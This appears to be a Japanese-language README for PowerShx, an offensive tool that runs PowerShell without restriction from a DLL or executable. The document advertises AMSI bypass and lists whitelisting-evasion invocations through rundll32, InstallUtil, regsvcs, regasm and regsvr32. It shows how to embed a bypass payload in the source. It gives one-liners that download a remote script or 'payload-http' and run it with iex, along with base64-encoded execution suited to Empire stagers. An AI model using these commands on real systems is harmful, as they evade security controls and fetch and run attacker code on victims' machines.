
ソフトウェア制限なしでPowershellを実行する。
DLLまたはスタンドアロン実行ファイルを使用したアンマネージドPowerShellの実行。
PowerShxは、PowerShdllプロジェクトを書き直し、拡張したものです。PowerShxは、AMSIをバイパスし、PSコマンドレットを実行する機能を提供します。
rundll32 PowerShx.dll,main -e <実行するPSスクリプト>
rundll32 PowerShx.dll,main -f <path> 引数で渡されたスクリプトを実行
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> スクリプトを読み込み、PSコマンドレットを実行
rundll32 PowerShx.dll,main -w 新しいウィンドウでインタラクティブコンソールを起動
rundll32 PowerShx.dll,main -i インタラクティブコンソールを起動
rundll32 PowerShx.dll,main -s AMSIのバイパスを試行
rundll32 PowerShx.dll,main -v 実行出力をコンソールに表示
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll --> DllUnregisterServer を呼び出し
regsvr32 /s PowerShx.dll --> DllRegisterServer を呼び出し
PowerShx.exe -i インタラクティブコンソールを起動
PowerShx.exe -e <実行するPSスクリプト>
PowerShx.exe -f <path> 引数で渡されたスクリプトを実行
PowerShx.exe -f <path> -c <PS Cmdlet> スクリプトを読み込み、PSコマンドレットを実行
PowerShx.exe -s AMSIのバイパスを試行
ペイロードは、"Common"プロジェクト内のデータディクショナリ "Common.Payloads.PayloadDict" を更新し、PsSession.csのHandle()メソッドで呼び出すことで埋め込むことができます。 例: Handle()メソッド内:
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
注: Empireステージャーは、[System.Text.Encoding]::Unicodeを使用してデコードする必要があります。
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
一部のエラーが出力に表示されない場合があります。Import-Moduleなどのコマンドが失敗してもエラーが出力されないため、混乱を招く可能性があります。 コマンドが正しく入力されていることを確認してください。
dllモードでは、インタラクティブモードとコマンド出力は、親プロセスのコンソールを乗っ取ることに依存しています。親プロセスにコンソールがない場合は、-nスイッチを使用して出力を表示しないようにしてください。そうしないとアプリケーションがクラッシュします。
Rundll32が引数を処理する方法により、スイッチと引数の間に複数のスペース文字を使用すると問題が発生する可能性があります。スクリプト内の複数のスペースは問題ありません。